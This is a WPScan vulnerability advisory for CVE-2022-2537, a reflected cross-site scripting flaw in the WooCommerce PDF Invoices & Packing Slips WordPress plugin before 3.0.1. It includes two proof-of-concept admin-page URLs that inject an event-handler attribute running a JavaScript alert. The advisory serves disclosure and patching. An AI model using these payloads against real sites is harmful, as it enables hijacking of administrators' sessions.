WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

WooCommerce PDF Invoices & Packing Slips < 3.0.1 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape some parameters before outputting them back in an attributes of an admin page, leading to Reflected Cross-Site Scripting.

This is a re-introduction of CVE-2021-24991 in 2.14.0

Proof of Concept

https://example.com/wp-admin/admin.php?page=wpo_wcpdf_options_page&tab=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28/XSS/%29+x

http://example.com/wp-admin/admin.php?page=wpo_wcpdf_options_page&section=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2FXSS%2F%29+x%3D

Affects Plugins

woocommerce-pdf-invoices-packing-slips
Fixed in version 3.0.1

References

CVE
CVE-2022-2537

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Submitter twitter
kazet1234
Verified

Yes

WPVDB ID
ae613148-85d8-47a0-952d-49c29584676f

Timeline

Publicly Published

2022-08-03 (about 1 years ago)

Added

2022-08-03 (about 1 years ago)

Last Updated

2023-04-12 (about 5 months ago)

Our Other Services

WPScan WordPress Security Plugin